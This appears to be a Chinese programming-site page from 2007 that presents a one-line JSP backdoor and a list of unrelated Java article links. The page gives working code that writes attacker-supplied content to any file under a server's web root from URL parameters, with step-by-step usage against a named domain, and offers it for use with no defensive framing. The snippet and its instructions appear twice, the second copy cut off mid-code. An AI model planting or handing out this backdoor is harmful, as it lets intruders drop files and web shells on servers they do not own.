JSP一句話后門
更新時(shí)間：2007年02月09日 00:00:00 作者：
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來(lái)了 內(nèi)容為 HelloWorld
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來(lái)了 內(nèi)容為 HelloWorld
相關(guān)文章
這篇文章主要介紹了Spring AOP 基于注解詳解及實(shí)例代碼的相關(guān)資料,需要的朋友可以參考下2017-04-04
用簡(jiǎn)單的代碼來(lái)實(shí)現(xiàn)文件上傳
用簡(jiǎn)單的代碼來(lái)實(shí)現(xiàn)文件上傳...2006-10-10
IIS6+TOMCAT整合,實(shí)戰(zhàn)實(shí)例!
IIS6+TOMCAT整合,實(shí)戰(zhàn)實(shí)例!...2007-02-02
Javaweb工程運(yùn)行報(bào)錯(cuò)HTTP Status 404解決辦法
這篇文章主要介紹了Javaweb工程運(yùn)行報(bào)錯(cuò)HTTP Status 404解決辦法，文中通過(guò)示例介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-07-07
這篇文章主要介紹了JAVA velocity模板引擎使用實(shí)例,需要的朋友可以參考下2014-04-04
本文介紹了servlet分頁(yè)代碼實(shí)現(xiàn)，采用Oracle數(shù)據(jù)庫(kù)，獲取SCOTT用戶EMP表中的數(shù)據(jù)，分頁(yè)實(shí)現(xiàn)步驟看下面代碼2014-01-01
JSP由淺入深(11)—— 標(biāo)記庫(kù)...2006-10-10
這篇文章主要介紹了JSP的setProperty的使用方法的相關(guān)資料,希望通過(guò)本文能幫助到大家，讓大家理解應(yīng)用setProperty,需要的朋友可以參考下2017-10-10
Spring AOP切面解決數(shù)據(jù)庫(kù)讀寫分離實(shí)例詳解
這篇文章主要介紹了Spring AOP切面解決數(shù)據(jù)庫(kù)讀寫分離實(shí)例詳解的相關(guān)資料,需要的朋友可以參考下2017-05-05
jsp Unsupported encoding: gb2312 錯(cuò)誤原因
今天做了一個(gè)JSP頁(yè)面，運(yùn)行時(shí)tomcat提示：org.apache.jasper.JasperException: Unsupported encoding: gb2312 錯(cuò)誤，找了很久才找到出錯(cuò)的地方，原來(lái)是一個(gè)空格惹的禍。2009-06-06